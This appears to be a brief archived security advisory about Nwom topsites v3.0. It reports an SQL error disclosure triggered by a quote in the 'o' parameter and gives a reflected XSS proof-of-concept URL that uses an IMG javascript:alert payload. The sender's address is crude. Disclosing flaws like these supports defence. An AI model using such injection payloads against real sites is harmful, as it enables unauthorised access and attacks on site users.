Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Title   :  VP-ASP Shopping Cart 6.09 Remote Multiple Vulnerabilities

Article System 0.1 (INCLUDE_DIR) Remote File Include Vulnerabilities

TLM CMS <= 1.1 (i-accueil.php chemin) Remote File Include Vulnerability

LunarPoll 1.0 (show.php PollDir) Remote File Include Vulnerability

From:	luny_(at)_youfucktard.com <luny_(at)_youfucktard.com>
Date:	12.01.2007
Subject:	Nwom topsites v3.0

Nwom topsites v3.0
http://www.nwom.net

Vulnerable files:

Comment input.
index.php

SQL info released on error:
http://www.example.com/index.php?o='

XSS:
http://www.example.com/index.php?o=<IMG%20SRC=javascript:alert(String.
fromCharCode(88,83,83))>

- Luny